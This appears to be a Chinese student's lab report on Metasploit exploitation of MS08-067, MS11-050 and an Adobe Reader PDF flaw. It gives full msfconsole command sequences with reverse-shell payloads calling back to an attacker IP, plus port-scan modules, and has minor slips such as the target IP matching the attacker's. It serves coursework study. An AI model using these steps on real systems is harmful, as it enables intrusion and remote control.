一、基础问题回答
用自己的话解释什么是exploit,payload,encode
- exploit：利用靶机系统中的一些漏洞进行攻击的过程，除去前期准备的工作，这一步是实施攻击。
- payload：载荷，将病毒代码打包成程序等形式，配合我们准备好的漏洞传输。
- encode：对payload进行加密伪装，为他打掩护。
二、实践过程
1.Windows服务渗透攻击——MS08-067安全漏洞
在攻击机kali输入msfconsole进入控制台，依次输入以下指令：msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.43.161 //攻击机ip
msf exploit(ms08_067_netapi) > set LPORT 5213 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.43.161 //靶机ip，特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型，匹配度较高
msf exploit(ms08_067_netapi) > exploit //攻击
2.浏览器渗透攻击——MS11-050
在攻击机kali输入msfconsole进入控制台，依次输入以下指令：msf > use windows/browser/ms11_050_mshtml_cobjectelement
msf exploit(ms11_050_cobjectelement) > set payloadwindows/meterpreter/reverse_http //http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.43.161 //攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5213 //攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 5213lzm //统一资源标识符路径设置
msf exploit(ms11_050_cobjectelement) > exploit
- 问题:这里记录下问题，这个靶机那边ie6浏览器访问网站时一直报404，网络是连接好的，跟kali可以ping通，版本也没有问题，访问之后kali这边就会提示如上图，不知道为什么，这个问题也一直没有解决。。。（甚至直接拷贝了成功同学的xp虚拟机过来也不对）。
3.针对Adobe Reader软件的渗透攻击——adobe_toolbutton
在攻击机kali输入msfconsole进入控制台，依次输入以下指令：msf > use windows/fileformat/adobe_cooltype_sing
msf exploit(adobe_cooltype_sing) > set payloadwindows/meterpreter/reverse_tcp //tcp反向回连
msf exploit(adobe_cooltype_sing) > set LHOST 192.168.43.161 //攻击机ip
msf exploit(adobe_cooltype_sing) > set LPORT 5213 //攻击端口
msf exploit(adobe_cooltype_sing) > set FILENAME 5213lzm.pdf //设置生成pdf文件的名字
msf exploit(adobe_cooltype_sing) > exploit //攻击
在kali上输入back退出当前模块，进入监听模块，输入以下命令：
msf > use exploit/multi/handler //进入监听模块
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接
msf exploit(handler) > set LHOST 192.168.43.161 //攻击机ip
msf exploit(handler) > set LPORT 5213 //攻击端口固定
msf exploit(handler) > exploit
4.应用任何一个辅助模块。
- 使用scanner/http/prev_dir_same_name_file模块
该模块识别第一个父目录中与给定目录路径具有相同名称的文件。 示例：PATH为Test / backup / files /将查找Test路径下文件/backup/files.ext，.ext为设定的文件类型。
- 使用auxiliary/scanner/portscan/syn模块
该模块使用发送TCP SYN标志的方式探测开放的端口。下面是我扫描到了我的靶机、
三、离实战还缺些什么技术或步骤？
如何将后门文件安全传输或者了解靶机漏洞情况，这个是我认为距离实战有差距的地方。
四、实验总结
这次的实验让我感觉又距离实际操作进了一步，应用到了许多常见的漏洞。但是我们还是比较局限于msf的一些模块，而且把生成的文件图标啊弄到靶机上也比较难，所以期待下一次的实验能有新的突破。